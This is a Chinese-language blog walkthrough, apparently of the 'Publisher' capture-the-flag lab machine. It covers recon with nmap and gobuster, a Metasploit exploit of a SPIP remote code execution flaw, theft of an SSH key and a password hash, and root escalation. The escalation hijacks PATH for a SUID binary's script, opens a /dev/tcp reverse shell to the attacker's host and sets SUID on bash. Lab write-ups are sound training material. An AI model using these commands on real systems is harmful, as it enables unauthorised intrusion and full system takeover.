Publisher
Todd

信息收集

1
2
3
4
5
IP=192.168.0.211
nmap $IP

22/tcp open ssh
80/tcp open http

扫下目录

1
gobuster dir -u http://$IP -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,txt,html,bk,bak,zip,tar,gz,7z -t 50

扫了一个有用的目录 spip , 于是搜了下 https://www.exploit-db.com/ 果然很多漏洞,看了下 spip/spip.php 源代码是 4.2的,正好有一个 RCE https://www.exploit-db.com/exploits/51536

但是默认这个一直不对劲。 群里哥们提醒用 msf,于是

1
2
3
4
5
6
search CVE-2023-27372
use 1
set RHOSTS 192.168.0.211
set TARGETURI /spip
set LHOST 192.168.0.30
run

等一小会后,看到了 meterpreter 的字样。

1
2
3
shell
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

感觉这个 shell 有点怪,看了看啥都没有,不过翻到了 think 用户的私钥。于是可以连上了。

同时翻到spip的一个 sqlite 数据库,里面有个 think 用户的密码。
$2y$10$Mh4g9QACK10dLICh6ukktuSjVBDXvFZjHH/cwRww9RY0JVNWxgAxK

1
2
3
4
ssh -i ./id_rsa think@$IP
id
uid=1000(think) gid=1000(think) groups=1000(think)

拿到 user flag

提权

sudo -l 有密码。
看来还得破解密码。先跑个 hashcat 用 think 生成下密码。

1
2
3
4
5
6
7
echo 'think' > base.txt
hashcat --stdout base.txt -r ../OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule -o password.txt
wc -l password.txt
48414 password.txt

hashcat -m 3200 -a 0 -o cracked.txt '$2y$10$Mh4g9QACK10dLICh6ukktuSjVBDXvFZjHH/cwRww9RY0JVNWxgAxK' password.txt

不知道到了多久,反正我的 MacM1 竟然都开始启动风扇了,最后依然没有破解出来。

然后跑 lines 的时候,发现了一个 SUID 的文件。

1
2
3
4
-rwsr-sr-x 1 root root 17K Nov 14  2023 /usr/sbin/run_container (Unknown SUID binary!)
--- It looks like /usr/sbin/run_container is using /opt/run_container.sh an
d you can modify it (strings line: /opt/run_container.sh) (https://tinyurl.com/suidpath)
--- Checking for writable dependencies of /usr/sbin/run_container...

直接执行 /usr/sbin/run_container 应该就是 root 的权限了,但是提示 /opt/run_container.sh: Permission denied, 和 lines 的提示一样,/usr/sbin/run_container 在调用 /opt/run_container.sh, 但是更加诡异的是,直接执行/opt/run_container.sh 是可执行的,但是因为没有 sudo ,会提示连不上 docker 的 sock:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/run/docker.sock: connect: permission denied.
See 'docker run --help'.
List of Docker containers:
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied

Enter the ID of the container or leave blank to create a new one: 1
/opt/run_container.sh: line 16: validate_container_id: command not found

OPTIONS:
1) Start Container 3) Restart Container 5) Quit
2) Stop Container 4) Create Container
Choose an action for a container: 3
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/1/restart": dial unix /var/run/docker.sock: connect: permission denied

在这个地方卡了一天,经过群里大神提醒,这里有两个点我漏掉了,

  1. docker 的 Id 其实在 www-data 用户的进去的时候,应该是主机名。但是因为是个 sh,所以用 msf 的时候,没注意这个。而且没有 Python 没有升级 shell,所以可以用/usr/bin/script -qc /bin/bash /dev/null 这个命令来获得一个交互式的 shell 的时候,看到 docker 的 containerID。或者用 hostname 命令,也同样能看到。
1
2
3
4
5
6
$ /usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
www-data@41c976e507f8:/home/think/spip/spip$ hostname
hostname
41c976e507f8
www-data@41c976e507f8:/home/think/spip/spip$
  1. 其实执行 /opt/run_container.sh 的时候,有一句报错 /opt/run_container.sh: line 16: validate_container_id: command not found, 看起来是第 16 行有一个命令没找到,那极有可能有一个命令注入。
    其实第一点是没啥用的,随便输入都行,但是我当时竟然没想到这个 docker 的 ID 的事儿。 我们把重点放到第二点,命令注入。从提示上看,有一个命令 validate_container_id 没找到,那我们可以劫持 PATH,让他找到我们的命令。先去 pwncat -lp 1234.
    然后:
1
2
3
4
5
6
echo '/bin/sh -i 5<> /dev/tcp/192.168.0.30/1234 0<&5 1>&5 2>&5' > /tmp/validate_container_id
chmod +x /tmp/validate_container_id
export PATH=/tmp:$PATH
which validate_container_id
/tmp/validate_container_id
/opt/run_container.sh

输入完 containerID 后,就卡主了。另一侧的 pwn-cat 已经拿到了 shell。不过,有点超出我认知的是,我以为这个 shell 是 root 的,但是实际上是 think 的。不过这个 shell 有啥用呢?惊喜的发现此时,/opt 下的权限是开放的。

1
2
3
4
5
6
7
(remote) think@publisher:/opt$ ls -al
total 20
drwxr-xr-x 3 root root 4096 Mar 29 13:25 .
drwxr-xr-x 18 root root 4096 Nov 14 2023 ..
drwx--x--x 4 root root 4096 Nov 14 2023 containerd
-rw-r--r-- 1 root root 861 Dec 7 2023 dockerfile
-rwxrwxrwx 2 root root 1715 Mar 29 13:25 run_container.sh

之前一直在 ssh 后的 think 里,没有任何这个/opt 的权限,现在看起来,正常的权限都有了。此时可以看到 run_container.sh 下的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/bin/bash

# Function to list Docker containers
list_containers() {
if [ -z "$(docker ps -aq)" ]; then
docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
fi
echo "List of Docker containers:"
docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
echo ""
}

# Function to prompt user for container ID
prompt_container_id() {
read -p "Enter the ID of the container or leave blank to create a new one: " container_id
validate_container_id "$container_id"
}

# Function to display options and perform actions
select_action() {
echo ""
echo "OPTIONS:"
local container_id="$1"
PS3="Choose an action for a container: "
options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit")

select opt in "${options[@]}"; do
case $REPLY in
1) docker start "$container_id"; break ;;
2) if [ $(docker ps -q | wc -l) -lt 2 ]; then
echo "No enough containers are currently running."
exit 1
fi
docker stop "$container_id"
break ;;
3) docker restart "$container_id"; break ;;
4) echo "Creating a new container..."
docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest
break ;;
5) echo "Exiting..."; exit ;;
*) echo "Invalid option. Please choose a valid option." ;;
esac
done
}

# Main script execution
list_containers
prompt_container_id # Get the container ID from prompt_container_id function
select_action "$container_id" # Pass the container ID to select_action function

此时如果我们把 run_container.sh 的内容改成:

1
2
#!/bin/bash
chmod +s /bin/bash

再去执行 /usr/sbin/run_container,接下来就是 root 的 shell 了。

1
2
3
(remote) think@publisher:/opt$ /bin/bash -p
(remote) root@publisher:/opt# id
uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think)

总结

这里看起来有挺多很神奇的地方,首先 /usr/sbin/run_container 这个文件,他的权限是:

1
-rwsr-sr-x 1 root root 16760 Nov 14  2023 /usr/sbin/run_container

说明这个文件的 SUID 和 SGID 都是开启的,这个 SUID 应该是属于 root 的,但是因为调用了 /opt/run_container.sh,所以我们可以劫持这个文件,让他执行我们的命令。加上 run_container 里有命令注入的地方,才能通过这个渠道拿到 root 的权限。

我有一点不理解的是,think 在默认的 shell 里是受限的,只能执行 /opt/run_container.sh ,但是不能修改,也不能看,但是经过劫持后,弹回来的 shell,里面就可以正常看到 /opt/run_container.sh 的内容。反弹回来的不就是 /bin/bash 吗,但是我手动切换 /bin/bash 也一样不行。

第二个不理解的地方是,/usr/sbin/run_container 的 SUID 不是 root 的吗,可是如果我改了 /opt/run_container.sh 里,用反弹的 shell 的方式获取的权限依然是 think 的。

行吧,就这么多了,以后明白了再来填坑。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量